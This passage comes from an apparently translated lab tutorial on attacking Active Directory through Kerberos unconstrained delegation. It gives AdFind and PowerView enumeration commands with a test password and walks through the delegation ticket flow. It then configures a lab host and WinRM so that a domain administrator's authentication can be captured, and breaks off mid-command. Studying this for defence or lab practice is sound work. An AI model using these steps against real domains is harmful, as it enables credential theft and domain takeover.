filter syntax, see the Microsoft manual: &lt;a class="link" href="https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx?Sort=MostUseful" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;&lt;/p&gt;&#10;&lt;h5 id="adfind"&gt;&lt;a href="#adfind" class="header-anchor"&gt;&lt;/a&gt;ADFind&#10;&lt;/h5&gt;&lt;p&gt;Syntax:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind [switches] [-b basedn] [-f filter] [attr list]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Arguments:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;-b: specifies the root node to query&lt;/li&gt;&#10;&lt;li&gt;-f: LDAP filter condition&lt;/li&gt;&#10;&lt;li&gt;attr list: attributes to display&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools" target="_blank" rel="noopener"&#10; &gt;https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;1. Find users configured for unconstrained delegation (from inside the domain):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -b &amp;#34;DC=test,DC=local&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For convenience, I ran it on the domain controller.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Find users configured for unconstrained delegation (from outside the domain):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up &amp;#34;Password123!&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The author of the blog I used as a reference did not test this, but the GitHub repository linked above has the exact method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Find hosts configured for unconstrained delegation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Inside the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -b &amp;#34;DC=test,DC=local&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Outside the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up &amp;#34;Password123!&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="powerview"&gt;&lt;a href="#powerview" class="header-anchor"&gt;&lt;/a&gt;PowerView&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Find users configured for constrained delegation.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find an argument for username-and-password authentication.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_41874930/article/details/109616189" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_41874930/article/details/109616189&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/-zhong/p/12374568.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/-zhong/p/12374568.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/sectool/173366.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/sectool/173366.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These three pages introduce the module.&lt;/p&gt;&#10;&lt;p&gt;Find hosts configured for constrained delegation:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -LDAPFilter &amp;#34;(userAccountControl:1.2.840.113556.1.4.803:=524288)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The output looks roughly like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is the domain controller path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This indicates that the host is configured for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnshostname : WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is the host&amp;#39;s DNS name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="exploiting-unconstrained-delegation"&gt;&lt;a href="#exploiting-unconstrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Unconstrained Delegation&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;With &lt;code&gt;unconstrained delegation&lt;/code&gt; enabled on &lt;code&gt;service1&lt;/code&gt;&amp;rsquo;s service account, the &lt;code&gt;user&lt;/code&gt;&amp;rsquo;s &lt;code&gt;TGT&lt;/code&gt; is sent to &lt;code&gt;service1&lt;/code&gt; and cached in memory. &lt;code&gt;service1&lt;/code&gt; can then reuse that &lt;code&gt;TGT&lt;/code&gt; to access any domain service the user is authorized to access.&lt;/p&gt;&#10;&lt;p&gt;The unconstrained delegation request flow (diagram from the Microsoft manual):&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The Kerberos request shown above breaks down into these steps:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. The user sends a `KRB_AS_REQ` message to the `KDC` to request a forwardable `TGT1`.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. The KDC returns `TGT1` in a `KRB_AS_REP` message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The user uses the TGT1 from step 2 to request a forwarded TGT2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. The KDC returns TGT2 for the user in a KRB_TGS_REP message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. The user uses the TGT1 returned in step 2 to request an ST (Service Ticket) for Service1 from the KDC.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. The TGS returns the ST for service1 to the user in a KRB_TGS_REP message.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. The user sends a KRB_AP_REQ message to request Service1. The message contains TGT1, the ST for Service1, TGT2, and the SessionKey for TGT2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8. service1 sends the user&amp;#39;s TGT2 to the KDC in a KRB_TGS_REQ message to request an ST for service2 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9. In a KRB_TGS_REP message, the KDC returns the ST for service2 to service1 along with a session key that service1 can use. The ST identifies the client as the user, not service1.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10. service1 sends a KRB_AP_REQ to service2 on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;11. service2 responds to service1&amp;#39;s request.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;12. With this response, service1 can respond to the user&amp;#39;s request from step 7.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;13. The TGT forwarding delegation mechanism does not restrict which service service1 can use TGT2 for, so service1 can request a ticket for any other service from the KDC on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;14. The KDC returns the ST requested in step 13.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;15-16. service1 requests other services on the user&amp;#39;s behalf.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;TGT1（forwardable TGT）&lt;/code&gt; is used to access &lt;code&gt;Service1&lt;/code&gt;, while &lt;code&gt;TGT2（forwarded TGT）&lt;/code&gt; is used to access &lt;code&gt;Service2&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: windows server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain-joined host: windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;As mentioned above, unconstrained delegation is generally configured on service accounts or machine accounts. Setting up an environment and creating a service account is a bit of a hassle, so using a machine account is easier here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Configure on the domain controller (Domain Admin privileges required):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerShell commands:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the WIN10 machine account for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Verify the configuration:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check the host&amp;#39;s delegation configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADComputer WIN10 -Properties userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use PowerView to find all hosts with unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use an LDAP query&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainObject -LDAPFilter &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With that configured, we can get ready to make the domain administrator trigger authentication.&lt;/p&gt;&#10;&lt;p&gt;P.S. I have already elevated to administrator on this win10 machine, so I can host plenty of things locally, such as IIS or MYSQL. The account currently in use also has unconstrained delegation rights. At this point, I can set up whichever service I want—IIS, MYSQL, and so on—and wait for the domain administrator to access it.&lt;/p&gt;&#10;&lt;p&gt;Configure the WINRM service on win10.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the following commands on WIN10:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Configure WinRM quickly (run as administrator)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm quickconfig -q&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Allow HTTP transport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service @{EnableCompatibilityHttpListener=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Configure the allowed authentication methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service/auth @{Basic=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm set winrm/config/service/auth @{Kerberos=&amp;#34;true&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Configure the firewall rule (if not already enabled)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-PSRemoting -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 5. Confirm that the WinRM service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 6. Check the WinRM listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;winrm enumerate 